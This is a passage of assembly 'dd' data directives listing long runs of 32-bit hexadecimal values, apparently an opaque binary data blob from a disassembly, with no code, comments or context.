dd 0B8EAEBBEh, 999423F8h, 312A6D88h, 3AECD874h, 1151B3D1h
dd 0D3D9E804h, 3C439841h, 62EB494Ch, 87B66E42h, 55EC29F2h
dd 17ACEF5Ah, 95102A7Dh, 675C9DBAh, 64424C93h, 9004CD68h
dd 24033B53h, 17EF3D22h, 0F79F401Ah, 4016290Bh, 4597F8F0h
dd 8E7A3CFh, 0D1092EBCh, 363A01EDh, 4021F24Bh, 4C7C33E0h
dd 587D43B3h, 71728F5h, 7904BA97h, 61C2DF89h, 8E7234Bh
dd 38318CC1h, 4231F498h, 0CF6A02C2h, 31EB4B92h, 0D0763Eh
dd 0F0F70159h, 0F9BE48D6h, 42B301A4h, 30218E32h, 6813A2B4h
dd 0C313206Eh, 9DEFAF25h, 0E13AF448h, 0CABE10D2h, 0C145CB06h
dd 0DE834B23h, 0D5E461BFh, 6E54FDE1h, 8B9DD0B3h, 0E35902C1h
dd 3528E985h, 0DE4CF095h, 288DF07h, 0A9B159EFh, 9AECF930h
dd 4503F5B0h, 0F608E1C0h, 0A0C1C0D9h, 0F48A20E9h, 69B05000h
dd 0BC0C7104h, 0C592D652h, 0CF500CE9h, 4459CAFDh, 0FA00D29Dh
dd 41356385h, 0EE4BD1h, 143B5D7Ah, 404EE5E9h, 57D4A6FDh
dd 26B5804h, 0A4C0FA52h, 589DED3Dh, 0B97AFEDBh, 0D06492ECh
dd 0D7253101h, 0CF012805h, 803BD55h, 45DEF29h, 9D44FB12h
dd 2234127Bh, 0C52F83BBh, 0BC67BFBCh, 0FFD5ECA2h, 575E72B8h
dd 2AE7EFFEh, 33558501h, 107F5064h, 292F07C9h, 5B4858F8h
dd 174CDE4Ch, 7F2010C7h, 0E31949EAh, 0C57C5C27h, 0E6D7F4Fh
dd 0CF2FA5B2h, 3093CFEFh, 9DBE1D21h, 408D1760h, 3EF60246h
dd 1861F24Dh, 6F007E6Fh, 0C7FEDFF6h, 0CB43E50h, 5DC29125h
dd 5EF34ED5h, 0E8529002h, 0BA0A5253h, 9D6A3D60h, 0F6930BBAh
dd 0EE0AD799h, 97D31595h, 16A1DA26h, 0F6602262h, 0FF51AB57h
dd 26C86D29h, 2A303C25h, 2FBA0C45h, 0D0145BBCh, 0AF21EA87h
dd 4AF1665Ah, 0A4B20704h, 45A96882h, 20AE4DDFh, 14B84DBBh
dd 8264C04Ch, 71388703h, 2BAAD5CEh, 7E508580h, 0C5EABD75h
dd 0DCC0080Dh, 9133729Ah, 0A1560C55h, 947F3911h, 6808028Ch
dd 985D4471h, 12E290Dh, 0C583415Ah, 2BF74DFFh, 4D9DA2E0h
dd 29507B32h, 1162DEBh, 0B509BA72h, 0EDC0CDh, 0E9EEB273h
dd 0F3F84D67h, 0E514DE48h, 7E601ED8h, 90F05924h, 0E60190B9h
dd 62891083h, 0D9D0E8A5h, 77BE8416h, 5A3145EAh, 0A1AAB8B6h
dd 30F8D821h, 0BA33B510h, 207637DAh, 3410762h, 0B5B9D0F7h
dd 4B512D18h, 758100BAh, 0BF13C87Bh, 8D362904h, 81FA316Fh
dd 35CD0423h, 0B8813B3Fh, 108F21DDh, 8FCBF828h, 421D3654h
dd 2C146799h, 0EE3AD6D3h, 0FE87D26Fh, 8F09704h, 5CFF22AAh
dd 25B32F7h, 279E2B2h
dd 0FBF6348Ah, 0EE30A667h, 0DCF1289Ch, 5E012884h, 0BC2485C8h
dd 68AD056Dh, 0D3AC241Ah, 360B90C0h, 2CC72943h, 0C2CED305h
dd 0F6B1E913h, 0E1CE3DF7h, 0C2BA61DBh, 425DF3D8h, 5AFC4EFFh
dd 1DA901A5h, 0CC1FA84Ah, 145BE942h, 9941E0BDh, 0A9605B21h
dd 4E063D10h, 0AF72A063h, 0AFCE3F3Bh, 0C1350123h, 32B04E3h
dd 0A93652BDh, 0D829EAB1h, 7A9D1644h, 4A088271h, 0BACFFDF0h
dd 0CE905725h, 8982CCF4h, 333C7FADh, 0C9EF71B7h, 0C6E23A74h
dd 302D0045h, 6858BE52h, 38FF4FAFh, 774BF3C5h, 9C57CCCCh
dd 2DEA4E23h, 0AE128B15h, 0B3E86E8h, 71AC4B7h, 0AB0675B8h
dd 1B7AD671h, 570F2E98h, 642A0929h, 9AAE1FD1h, 56E521Eh
dd 47762526h, 0F01A4C90h, 16BF7B68h, 0DDE860Bh, 413A1579h
dd 3FAAA35Ah, 41F06ACCh, 7C842F4Bh, 0C7A05AC2h, 4A76BFDDh
dd 0BF8C40A8h, 667F2A4Ch, 1268B80Eh, 0D1EC37EFh, 0D29C05Ah
dd 542D36AEh, 92C6FC7Bh, 0BAC981B5h, 81D7782Ch, 7D9A76D0h
dd 181D0D20h, 1808587Bh, 9D2E1FF8h, 314C741h, 7661818Dh
dd 46EC0F28h, 0F86BE1CFh, 9FE9F052h, 0E517C0E1h, 31917510h
dd 74CD872Dh, 40CB121Ah, 6C4CBBDEh, 57905144h, 0AD54D8B0h
dd 0BC9654C5h, 66F30452h, 0A7AA17AEh, 68CFC407h, 86DE5909h
dd 950BDC2h, 93DA7E82h, 439C5F09h, 50775495h, 10DD7D05h
dd 0AC6E5801h, 50D69743h, 0ADE09D71h, 41BCFB01h, 0A351557Ah
dd 0CBF8FE4Bh, 78098101h, 0E9EF2033h, 0F3D4C12Dh, 25682DE9h
dd 6E7B5EEDh, 2A3910BFh, 52AABC6h, 4247584Ah, 0E6A58030h
dd 0F59FC64h, 0D6E91775h, 0BE687E81h, 0BD24492Fh, 53F15DC8h
dd 0A26D5A09h, 976C8801h, 2DF90508h, 0F38854FCh, 45B126CAh
dd 1695E8D9h, 50FCF1E1h, 6C6E62D9h, 0AB71C4D9h, 8A188114h
dd 13F37584h, 8AB1382Eh, 5C06A909h, 0B6BE5019h, 61584972h
dd 0F7060CDBh, 0BA08D0DEh, 99C63D1Eh, 297DB285h, 4E0BCBF0h
dd 60B72EABh, 436851A6h, 2C5F2D1Eh, 0FCB91525h, 2FF34C0Fh
dd 9F65F158h, 0E090D654h, 7BB55D3Bh, 0BD688409h, 1090E311h
dd 834C4958h, 74D9B84Eh, 2E7C113h, 75D02907h, 0F9C43AB4h
dd 0A82ECC99h, 0B3BEB5DEh, 95922221h, 0F9B5ADCCh, 5ABC0CDCh
dd 0FD25882Ah, 33F20F5Bh, 0F0C24F92h, 0C1EA9E7Eh, 89603968h
dd 68517061h, 5CD101DAh, 405EA5E0h, 15CFEF52h, 0BCDE4A7Bh
dd 5A08C714h, 697AC899h, 17916A40h, 0D83BBDF3h, 3ABF293Ah
dd 79AAC4C7h, 0B745E019h, 0AF940F70h, 2E5C184h, 0DE0191BAh
dd 0FE97483Ch, 60B55312h, 9D0493BCh, 0C588B4D4h, 0DA8A0427h
dd 750EE45h, 6A555008h, 0CE938260h, 0F43DA71Eh, 0C99EFAh
dd 4589CA81h, 3F6361Dh, 6082E56Ch, 0DFBD0455h, 0EE5F9A0Ch
dd 4C996CA0h, 0D3A65ACEh, 0C1C0479Eh, 907A0F1Bh, 1FF1A077h
dd 0AC3AE1FFh, 233F22Fh, 887873E9h, 2E6CBA05h, 3A002CBh
dd 0C27ABE08h, 5F059F4Fh, 7D800909h, 9E689368h, 26F61C1Fh
dd 13DB810Eh, 6893D8EBh, 7F7CA969h, 583F28EEh, 665AAD55h
dd 78BA003Ch, 0E9112D02h, 1AC0E2CAh, 1870B1BDh, 595B9D07h
dd 0E50110ACh, 77AB65F4h, 5848CE40h, 0F73E13EAh, 0A7F8A8DDh
dd 0B7EE7BBBh, 2771B034h, 0EF480129h, 2E388472h, 36D1BE13h
dd 7B805944h, 6FB951EAh, 100E4121h, 0DF55C981h, 0FDF16BD7h
dd 0E4D98E7h, 93184C15h, 0C04F2A04h, 3FAFE8C6h, 13F2975Dh
dd 270E38ADh, 12FE4314h, 0BF8035DDh, 5BC4348Ch, 0AC1628E8h
dd 0B9380343h, 0AC4F0238h, 9DAAD311h, 96B26377h, 0A473DBEh
dd 33E9049Eh, 0D6B80109h, 53708689h, 622ABB00h, 0D921133Eh
dd 0EDF4C15Bh, 6A617E75h, 0EA0506F2h, 0E873E55Eh, 0D025787Ah
dd 0B56764C0h, 0BAADD153h, 5153556Dh, 6007D9CBh, 55294F63h
dd 5E3BAF90h, 17C873Ah, 0D829E9EEh, 0A05C654Fh, 0A7DC1A04h
dd 651D6540h, 4AD85CC1h, 18816E67h, 10130558h, 3E09D951h
dd 0DCA9AD87h, 8B1C2CBh, 67F5EBA0h, 395B0B45h, 3AC760E4h
dd 2D896518h, 0A921A6E9h, 0E050C330h, 0FDB15CEFh, 1CBD5A4h
dd 0F6713DB3h, 886BB547h, 0E90508C1h, 23A4415Eh, 742524B1h
dd 3F47833Eh, 0A4A97304h, 765C3E79h, 1877484h, 0CBBFEF85h
dd 39AE4E57h, 273076D7h, 7786420Bh, 20AEDC60h, 302FC139h
dd 97CF7CEFh, 9A285029h, 2D9318F7h, 9EED0CBFh, 1513113h
dd 6E856C56h, 30D2F7BEh, 0D828B1D2h, 251C792Ch, 0B752CA11h
dd 0AD5EF23Ch, 688E8746h, 41842911h, 73BCD9FBh, 0EDC12885h
dd 0D2C10107h, 8246F21Dh, 57A4BE7Eh, 40E5E30h, 8AAAE9h
dd 0B1515266h, 0E3B212CAh, 17D01C28h, 0C60CBAD0h, 0E804880Eh
dd 0B2520951h, 55FFE27h, 0C1FF290Ch, 3AE353D9h, 0CEE5F30h
dd 0B429401h, 719BFA3Bh, 47D43FF2h, 74CDB00Bh, 0ACFE423Ah
dd 0F188C20Eh, 2493755Ah, 2AC655F1h, 523F31E2h, 1C995D19h
dd 87B86E5Ah, 7D9DF603h, 7E20471Ch, 0AC665B05h, 6838D882h
dd 0B3BB8080h, 454C1B72h, 56E2023Dh, 77317246h, 0ED952850h
dd 41FF288Ch, 51B63314h, 7339EC47h, 0B4E9180Bh, 0CF7A79CDh
dd 0EA1C32C4h, 8D87241h, 0D2436C30h, 10D13DCh, 0B636AFEBh
dd 5768168Fh, 0C3B7AC65h, 92C6CE9h, 19E1ED7Dh, 0C4AE1309h
dd 0F55B0854h, 77B54377h, 9BF8B4Ah, 0F9CC6AACh, 0F6E38816h
dd 0AB6A12FFh, 95B36A03h, 0E961BF08h, 0DC2A8BDDh, 0F84A0159h
dd 315B51F7h, 2E90804Dh, 5B0D4231h, 57D6BA00h, 31266D04h
dd 84C45AD1h, 0C8D81205h, 8E49F552h, 0E1054941h, 2870E90h
dd 107CF5BFh, 3F3B7E34h, 3A93C5BFh, 0B531AFF3h, 8C310D49h
dd 0E722D9FDh, 0E02F00D2h, 297A6222h, 58040195h, 8D2A4C01h
dd 0E9110141h, 9A86C79h, 4634E668h, 1D26204Fh, 86B15B4Fh
dd 0DC4AB32Fh, 9002378Bh, 2F63CE80h, 84807E1Eh, 0EDB5DADh
dd 8E061B7h, 3C51E20h, 0E9279D50h, 3902D5CEh, 0E629D8E2h
dd 80A75E06h, 214EC4F2h, 9D20E925h, 215C4CF1h, 94F5DB25h
dd 5A8EB654h, 4A51A75h, 800399D4h, 27C10BEEh, 0F8276BCDh
dd 0FC0E8882h, 256BEF2Dh, 0B214F8E2h, 0F919A60Bh, 0E9EF8109h
dd 27833A22h, 764CBEF5h, 0C912C2FDh, 39C146F5h, 2E7C5352h
dd 8F7C8D1Fh, 825255B9h, 8E40F55Ah, 3A943FD0h, 1BFA6307h
dd 4B71CDC0h, 5D50B7BAh, 0BB4FF902h, 85F5315Fh, 28EACED2h
dd 5A40474Eh, 33BB0353h, 1772E69h, 608FA811h, 0CB41C31Ch
dd 0DD04BA23h, 4D44EAABh, 1D1F7B57h, 0DF88F6Fh, 0BA665944h
dd 257797CCh, 0F5F85560h, 9F572540h, 0DADE848h, 14173B24h
dd 0E475902h, 0A5A1E07Ch, 60D3047Bh, 91DAAEE9h, 38616339h
dd 3365C6ACh, 99BF074Fh, 6C61E732h, 3187375h, 0B1A40EF9h
dd 2F5881ACh, 0C6CDA8A1h, 0A23605DBh, 0BAFCA9E1h, 0F3C21C90h
dd 1EDF2741h, 0EA14DB74h, 6BC25508h, 0B0E8980Bh, 17F4BBC8h
dd 0FE232679h, 55D4A70h, 6B6202ADh, 0EC2686Ah, 48191877h
dd 36EC202Ch, 5D79E2B7h, 22C67B9h, 0AA12D5E5h, 3995D85Fh
dd 0EE069FF2h, 0E4D101FEh, 76F9E120h, 12104BC3h, 2C9F868h
dd 0EB80E328h, 7F31C20Ah, 0A0449D59h, 50DEBCh, 35181D0Fh
dd 0DC25BE65h, 7D0E58C4h, 0C03B304Ah, 0D314E4EFh, 9BE91777h
dd 2472BB0Bh, 0C2FD10D2h, 5BCC7E9Dh, 0A7A02BF2h, 9C595FBEh
dd 1FE89D59h, 2FD7EA29h, 95801F84h, 0B0B551D8h, 508C27EAh
dd 105387Bh, 1DD95BDAh, 0C68AE47h, 3BC619B4h, 0DE9D889Ah
dd 2B962CEh, 25F2F071h
dd 4E83EFF6h, 0E97A0B5Fh, 50A5D91Eh, 0E2B201C3h, 7A2D6866h
dd 0DAB47D21h, 824E1670h, 0E224E17Fh, 0A8EA99D3h, 0ECBFC47Fh
dd 4268C2C1h, 80E45176h, 4FC05B8Ah, 160CF181h, 0AE7A3421h
dd 0C97B26B8h, 0CDE109A8h, 0CA751B77h, 3809D7C0h, 5C701C7Fh
dd 0E2329056h, 18419634h, 0A1282C8Dh, 0C40437ECh, 13BAF847h
dd 38ABEE83h, 0B74AE9E4h, 57597602h, 6709C8F7h, 0C659C0EFh
dd 15807A4Fh, 0E8E6C137h, 95DDBF2h, 0AB8F16E2h, 338F185Fh
dd 3F1FDFEBh, 0D35F634Eh, 0FA96624Bh, 2F7C3A4Dh, 3FBFBC5Bh
dd 9242D35h, 793D7E4Bh, 0C193B51h, 90415EF0h, 4074B12Ah
dd 17321268h, 0F646A1DDh, 690E5A63h, 92734EBAh, 0BF0293F0h
dd 7A5F6186h, 581CEF67h, 3031D6FBh, 579AF714h, 0F1D7D1FFh
dd 35FFF183h, 8D987A74h, 0FB5B4BDFh, 0BFD1FC31h, 0D5F71C81h
dd 7107E5C1h, 2D4C6CF6h, 502DF45Bh, 352ED2E6h, 0EE00DB1Eh
dd 0B49CCE22h, 66240B2Dh, 705C1682h, 670CA409h, 0E133F85h
dd 4ECFB7E8h, 0FB4AC7ACh, 12EFB012h, 32D10095h, 4123DA47h
dd 0F892E92Dh, 535B97C6h, 3873F869h, 0EF4B6014h, 4562B33Dh
dd 8F4752D2h, 1283203Bh, 0E6522768h, 5E44800h, 0FAE0D47h
dd 6094F1BEh, 0FD09CF09h, 0A261502Eh, 0D8C51260h, 517809BBh
dd 2D5CD81Fh, 0FAC4FC2Fh, 99B5966Ch, 0E32F011Fh, 1C87849Ch
dd 0FB4F74FBh, 4FA405B0h, 0B86E3045h, 71687F07h, 0D263F284h
dd 6801C083h, 0CC2C4A96h, 647ECF04h, 939074B8h, 88F1072Eh
dd 625E7D40h, 9BE0B73Fh, 6925E093h, 0E72D78F3h, 0C77529D6h
dd 0C680453h, 975AEB3Fh, 0BB13400Bh, 0F7EDCFA5h, 23FD94A9h
dd 0F95B52E3h, 1E89DD9Fh, 16DDCF29h, 0EED39DA9h, 45E02713h
dd 2DF80301h, 53677D88h, 253469A8h, 0BD552200h, 7FF237A6h
dd 0AFC50981h, 5082ADE7h, 4CDFFBB0h, 4DE8F489h, 8650549Ch
dd 5F782494h, 91202E7h, 0EA7943DDh, 1C45BE81h, 853E908Ah
dd 3F5F1C5Eh, 29263D84h, 2D084FEh, 0A3E2E908h, 68671354h
dd 0BB93E54h, 14EC97h, 351AB65Eh, 17026E6Ch, 8296E967h
dd 0DD745463h, 76A28645h, 1986A84Ah, 0D8C9B40Bh, 0B1E8D5EDh
dd 8A889778h, 0F8281794h, 83C0B435h, 0F9C76826h, 0B700AD23h
dd 0E9272CD1h, 7CC2C442h, 4005E2C1h, 27D9FE29h, 52E0A48Ch
dd 21B53EE9h, 1DB3ED3Eh, 0B8F328DDh, 2730E0EBh, 5FFC3BE8h
dd 5D0508A0h, 487F6852h, 0C128036h, 357A1A47h, 1F943156h
dd 0AD375925h, 45414930h, 0BC6D1628h, 6C307A01h, 75FBE910h
dd 71EF8F87h, 0AB2AD579h, 80449F1h, 0E89B21AFh, 59DE93BEh
dd 3047CABAh, 0CA801FC8h, 96BAF0EFh, 72680091h, 5832C508h
dd 16E1255Ch, 0C1AE5F17h, 6FEB9B1Ah, 994B40D4h, 2DBB56C8h
dd 3F2D1770h, 51107CD5h, 40DF6C74h, 6CB9CD6h, 877604F2h
dd 1FEFD598h, 0CD223744h, 7E9745Ah, 0AC457090h, 0DE985E70h
dd 0ADE90780h, 970DE6BFh, 2ACA12D9h, 0EC107342h, 4CF80B11h
dd 0A521694Ah, 508DE6E9h, 7A0FE139h, 285D4E3Ch, 5B4007EDh
dd 488D908Fh, 0C207B821h, 0C0401E18h, 4D3DF0E5h, 74E9493Bh
dd 46C34DC0h, 0F6FA0E8Bh, 41784BFEh, 83268719h, 56063Dh
dd 0A454BF30h, 295A5879h, 32205F2Fh, 0C227D4E4h, 9071E431h
dd 17208E9Dh, 9855685Dh, 0E025F06h, 0A6E9422Ch, 5B1BA4BDh
dd 2DAB3C94h, 0D43517EEh, 805609DFh, 56CFA36h, 53AD62Eh
dd 8A35623Eh, 9C512F6Eh, 4B12B725h, 0E87D5955h, 79DD02AAh
dd 6A773513h, 1080B80h, 5B596843h, 66F3336Ah, 2B1E7FE9h
dd 0E23AE429h, 0F9A90CF1h, 5FA6CEF3h, 7A7AE6D3h, 0C9C2CD4Bh
dd 0F0FBF65Bh, 626B0CE9h, 0F000D7D7h, 1D3D3F2Bh, 0EB5DF4FAh
dd 2FD65D95h, 7B1C5F7Bh, 95A158BFh, 3020E834h, 29BD0423h
dd 0E02F0C7Dh, 4B14165Dh, 4B06392h, 6F28688Ch, 6C6B81ABh
dd 0A8872F4Dh, 3D9457B9h, 0DAEA812Dh, 0E60CC0B9h, 112D253h
dd 5CE9CA16h, 844722E1h, 0FF7D3472h, 3D8F39A3h, 99EB9F00h
dd 686BB610h, 0C199BC30h, 70734CA3h, 5402C309h, 0E9453344h
dd 9D73F018h, 0E075EA92h, 8C7C4DDEh, 0D281E913h, 466736C0h
dd 2A30F53Ah, 104D182Ah, 4FD9B071h, 0E977D10Bh, 5AF260A0h
dd 1CD42D68h, 7A7267FEh, 45E9252Dh, 21806389h, 9437C168h
dd 3231589Fh, 0EDDD8ABFh, 6B442F5Dh, 68632088h, 7A4F18B4h
dd 9E3324Ah, 4FD45C14h, 7DFAFC89h, 7A649A99h, 2BAEF417h
dd 31AA4B3Eh, 3A5FFD0Dh, 0F58B8C98h, 250EA36Bh, 99CC1EFh
dd 0FB646Bh, 0C8022B92h, 82970122h, 93F4969h, 0F9B49784h
dd 600B0747h, 4DA26A3Ch, 62F7FCC4h, 0C347C9DAh, 0FD12DBFh
dd 0DEA7DE1Bh, 6A35D3C7h, 0CAFB2AEFh, 1B257D59h, 3AE4E63Ch
dd 21B7C8Ah, 0BEA4F088h, 11F4B265h, 7AA141E3h, 0E40F6C5h
dd 0BF783605h, 51E8E229h, 9903072Dh, 81EB4A08h, 15A793Eh
dd 0DB30BA52h, 831C1467h, 973CFEAh, 7CA22130h, 3797C180h
dd 437D0344h, 0FDFCB00h, 59E9624Ah, 3050C7F9h, 0AC5874E5h
dd 0F3211FF2h, 0A10CFD8Ah, 7008DE6Bh, 74496856h, 21E9091Ah
dd 0F519A430h, 3987DC80h, 0B93A4ECEh, 0D3E541B4h, 0C87203D1h
dd 28F4CD01h, 8FE684B7h, 8418A2EBh, 917BAEDh, 0B876962Fh
dd 0D4B1D525h, 7807F95Fh, 4C8B59ACh, 208E123h, 0AC53D02Eh
dd 7BF3E332h, 65A99C0h, 4EDFE2E9h, 50D4B4AAh, 0AE27317h
dd 5F05FDE2h, 0F92F1D68h, 1A8B9E66h, 98EC3332h, 606C7F54h
dd 1C936A45h, 0F7EE1527h, 1604DD6Dh, 8258C802h, 48AD87FBh
dd 9B5CBBC3h, 0F81B2717h, 56B72A2Fh, 0AAF7818Bh, 21345803h
dd 7BEAF602h, 3F34165Ah, 0CBAE4838h, 42445A6Dh, 74BEDA86h
dd 74DFFB5Dh, 0E9CC454Ah, 2ADECD9h, 6A182D35h, 2D5D5E48h
dd 0C11802F7h, 0E96577D4h, 302D7108h, 1625C62h, 6C70E25Ah
dd 0A6693868h, 319BB5B1h, 7F5D9BF0h, 25F23856h, 0C1C5C949h
dd 0D3DF0438h, 10CFA2EBh, 5601AF1Ah, 901710BEh, 0F9A2EC0Fh
dd 34B01994h, 0B4555766h, 68206FDDh, 0D2E96FEDh, 4C2488BEh
dd 609B35C0h, 0C13B48C5h, 0F3507F02h, 6A98293Fh, 37137E05h
dd 0D70423D2h, 0E6E07FE9h, 9802ECC0h, 0E4C35F65h, 0F65634B6h
dd 5D267B33h, 43C2C2F9h, 188C52C6h, 3C6A1E65h, 75826395h
dd 0E2FC59Ch, 6167E4AEh, 0D2CC1E5Ah, 0D2DDFA1Ah, 93ED9F05h
dd 9E387FA7h, 9BF69F73h, 2C1A529Fh, 5208F82Ch, 0A6CCB057h
dd 9F7B247h, 22B115CCh, 3793DD06h, 3E5AC107h, 836F117Fh
dd 0A43159FEh, 9E4181FCh, 12AF2830h, 95CCE5Dh, 7FD91C9Dh
dd 4D54ED82h, 0D52D4058h, 88142DE9h, 0E299CBC6h, 0EB00511Dh
dd 0B6E95536h, 5CC2E1A2h, 53BC5B70h, 50C954B8h, 0B57F487Dh
dd 0B1D6B7A1h, 52F41D3Ah, 68AAE2D6h, 54557EB3h, 991E3F58h
dd 0F9CD50CBh, 0D5123C63h, 97FCE84Fh, 7BF9457h, 3AB85003h
dd 0DC62A728h, 545C4EF5h, 30E95B74h, 0C551A705h, 0D3285AC6h
dd 3703963Ah, 2940D823h, 81C40CDh, 0B2FF9E9h, 94FF5964h
dd 94C6FE4Ah, 0ADFE2DECh, 0ABB0F109h, 9A202C1h, 0C1500436h
dd 0B80FDEh, 5C2DCA81h, 0C60C26Eh, 32CB56A6h, 9E41AA96h
dd 54EAA168h, 0E9923073h, 6E9F8262h, 0E758973Fh, 60B04892h
dd 0BB60FE60h, 0A62AEBh, 4DBD5533h, 0F7395D5Eh, 8202D551h
dd 8527A8F0h, 82BAC1A1h, 84EE6144h, 0B09DEC7Ah, 0A28637F3h
dd 5899A0F9h, 0B2CC44E9h, 0E75A0BD1h, 897DE8FBh, 0E6215AB5h
dd 0BD7E1076h, 0BDC062Ah
dd 90C445Ah, 9297F60Fh, 480544F5h, 958BF05Ch, 0EA09A460h
dd 0BC3220FFh, 4C297240h, 0F20B2EDFh, 6C82B92Bh, 5903A6F4h
dd 682E0989h, 0D2DA6CE2h, 17B29C5Ah, 0B7556F51h, 9FD4BB9Ch
dd 287F8D0Dh, 0E804F403h, 0BA0EF180h, 2F423903h, 45F7F6D2h
dd 4AC628CEh, 5F01B224h, 1210D686h, 0CC5AB268h, 3814B6B6h
dd 5FC17E8h, 47354ECBh, 408057C4h, 0B831FEBEh, 6AFB80F0h
dd 53A0475h, 0FAE168E9h, 62EF34CCh, 62C65F2Ch, 8285C51Bh
dd 0C49AD8C9h, 0A1608B6Dh, 51B7BF29h, 0DFAB8CF7h, 79454149h
dd 4F4E26Bh, 22E31E58h, 702C4E1h, 0B2CD4856h, 0CB9C5C2Ch
dd 7402258h, 0BDA9B05Eh, 0AFAC8845h, 0EF5DE927h, 1F86D930h
dd 56C7010Ch, 0BE2E52F2h, 73A3CED7h, 0F52F02FCh, 2C063A6Fh
dd 314E2540h, 5169301h, 728A51F3h, 0A12D2A20h, 9F445D07h
dd 8D522BC4h, 55761A01h, 3060412Eh, 7316B5D1h, 2954AFFAh
dd 354FF186h, 207F30A6h, 79B5A811h, 0AECE027Eh, 0E8D701B3h
dd 5B3EBA2Bh, 0DE39A039h, 0AE8A865Fh, 0CFAE547Eh, 59527751h
dd 532663B4h, 0F9C81EA0h, 83D2C5ADh, 0DF2E74Fh, 814F005Ah
dd 963E38EBh, 0DA893917h, 41AA7C85h, 0E9D60122h, 0E957C6D1h
dd 0A0CC75D3h, 409A9013h, 71975D05h, 82552F79h, 77F3BFDBh
dd 76B5F746h, 0B5AE42AFh, 66D78800h, 1B0F65Ah, 30FBB2A0h
dd 0CC8058C2h, 0FA7528BBh, 5B05EA75h, 0B551DAF6h, 63815F84h
dd 0BF00B2DFh, 74507632h, 173CCF9Eh, 0F7688C27h, 56A10D7h
dd 0E9713D25h, 2D0ED08Dh, 0A0091F56h, 87C10109h, 7F0BFCE3h
dd 702E716Ch, 56C20CEBh, 60EC5CB5h, 42C0369Ah, 5BDE210Ah
dd 70038B55h, 0BE320139h, 0BD6E5830h, 9F028381h, 87E1EB17h
dd 16878358h, 0A8036A53h, 7FE17BFEh, 91B72D7Eh, 72CA9D79h
dd 0C61CD211h, 6FB55DBEh, 1A7582E2h, 0C9A7C296h, 0F92F5D69h
dd 0DF5CA265h, 326BDAF1h, 7F094855h, 0EB79C0C8h, 1880578Ah
dd 1770CC1h, 54004E11h, 4379BE6Bh, 0C351D37Eh, 140CA208h
dd 0E92041F9h, 9B006E55h, 0AF27A605h, 0F8290614h, 0B49BB951h
dd 0D9F73513h, 51AE008h, 0FE473168h, 0D3B83464h, 2790CE4Bh
dd 87D08398h, 50D0BAEAh, 955CB79Bh, 5DC8E9F8h, 1674A433h
dd 1F608E07h, 13120A74h, 68694240h, 291601D3h, 8BC45910h
dd 13F1F99Bh, 4E92F868h, 0EA9722FDh, 92FE3B79h, 4CAC61DFh
dd 7CC12181h, 6B751179h, 80BD094h, 43475F5Fh, 169B0E27h
dd 0FCA092FAh, 0A59E8650h, 0A79CFD2Dh, 582F5E97h, 85E4D68h
dd 0A3E9AB30h, 2D86AE1Bh, 16774401h, 685B0902h, 66F9411Ah
dd 0D60DA88Bh, 3800CBCAh, 5D9C11CEh, 0E02CC0B4h, 45C0EC17h
dd 5A181910h, 821ECD1Bh, 7902FB0Ch, 5FD9897Dh, 83A5BA10h
dd 55018916h, 19F33041h, 0C43A22B9h, 0E1E18115h, 0F4E0FB23h
dd 5A0C9D34h, 936166E9h, 85C1EAEh, 0B4CC9249h, 0C439F275h
dd 0D91F2806h, 92372D05h, 0B2C58902h, 0FA77F5BCh, 0ABD4976Ch
dd 25960820h, 50E95C85h, 5E25C6B8h, 1B90CED8h, 0F1C7E525h
dd 0A7F92663h, 57D070F6h, 4BF017BFh, 0E29BA0C8h, 5DB1119Dh
dd 68152C2Eh, 0C714782Ch, 3106006Bh, 9835F574h, 8C684A3Fh
dd 0BDBEA4F7h, 0E9AFB560h, 9D4E4B9Dh, 7BA86F57h, 0FE840993h
dd 2C29E7F5h, 1A5908C0h, 16FE5D16h, 878FB2ADh, 0C5A0C72Dh
dd 51F02951h, 0D3F00705h, 55EB1623h, 9A2F0A5Eh, 36D5A757h
dd 0B948B546h, 5281DCE3h, 0A7D4B83Eh, 2F9B3C31h, 417C4C84h
dd 2057B835h, 0B1B53B96h, 54E24B93h, 0B02D2DAFh, 0EA27EF08h
dd 4DB08235h, 9CF50D94h, 0D40F8AC2h, 0AAC16081h, 33482A02h
dd 2FE93FF1h, 9F6DC482h, 681386CCh, 0F6BD03FEh, 7F2F5588h
dd 75D6EF0Bh, 50A890AFh, 75E9805Ah, 402181BCh, 1005F19Ch
dd 80AB1450h, 9686E9FCh, 48D0D39Dh, 1268E16Eh, 0B8658B61h
dd 6BB37C78h, 0C132F75h, 54362DD6h, 90576133h, 6B560FCAh
dd 0DF497E62h, 6C541883h, 29591009h, 0CBA982F9h, 2E2E49Ch
dd 41886982h, 93F1EE01h, 0E1A2554Bh, 0D1D5BC0Ch, 0DBF66084h
dd 2FB8CBFEh, 0EB30BD03h, 2DD82059h, 52F1AB7Ah, 0E69927BCh
dd 0E9570882h, 0EE92DF5Ch, 0BA0256AAh, 0C2F1CE04h, 684D0312h
dd 0BAE50A71h, 0D892261h, 19F23D8Bh, 2DF621F8h, 80E68D4Ah
dd 7A58C180h, 0E9120AAFh, 3A35A1ACh, 7D914280h, 0BD1D791Bh
dd 965457Eh, 2FE98E20h, 3261C9D0h, 6429782h, 0B7FD14F5h
dd 0BD621171h, 21DE48ACh, 355197F9h, 4601E961h, 0C386C762h
dd 197A9BAh, 0DF3FE5C8h, 9578A06Ah, 44009FA4h, 121077Ah
dd 7FBA52FEh, 1C383FCCh, 57CDCA03h, 0C040E15h, 70774A92h
dd 3F6C4F01h, 9BA14039h, 5E4F7805h, 7DEE32D2h, 685F9EA0h
dd 6FE14425h, 27B1B5ECh, 879C3B80h, 9984C050h, 0B8495860h
dd 55A0CE01h, 8742DC4h, 846B1F61h, 407136Ah, 4FABA1Bh
dd 0E3AA2C33h, 0B03610BEh, 0EC1A8130h, 653E5A3Bh, 0C909905Bh
dd 3E89876h, 53886C8Fh, 2E03C783h, 227554CFh, 260C022Eh
dd 0F705172Dh, 0EC07D5F4h, 0CAC6B5Eh, 0B231737h, 0E9A40482h
dd 2804D171h, 7E8ADCF3h, 914519BFh, 7DDA63C1h, 0C813DCEh
dd 0DCA9A55Dh, 1BE986D6h, 8A80A6B7h, 0E43D575Ah, 9F79924Dh
dd 8EAF0852h, 8DEC4BEAh, 0F1F5E9C5h, 0E3006F97h, 30ED6673h
dd 4C140205h, 0C701502Fh, 50985B4Ch, 737A3E0Bh, 3086F434h
dd 3A75EF5Ch, 0F731FC17h, 0A945AE09h, 9DB4564Fh, 784D66E1h
dd 57B8C329h, 0D497AF70h, 0D3775ABAh, 1A35A60Ch, 0AE76B740h
dd 0F1AF4F89h, 2464261Ch, 19DD25ACh, 79D0BF33h, 98F0FE60h
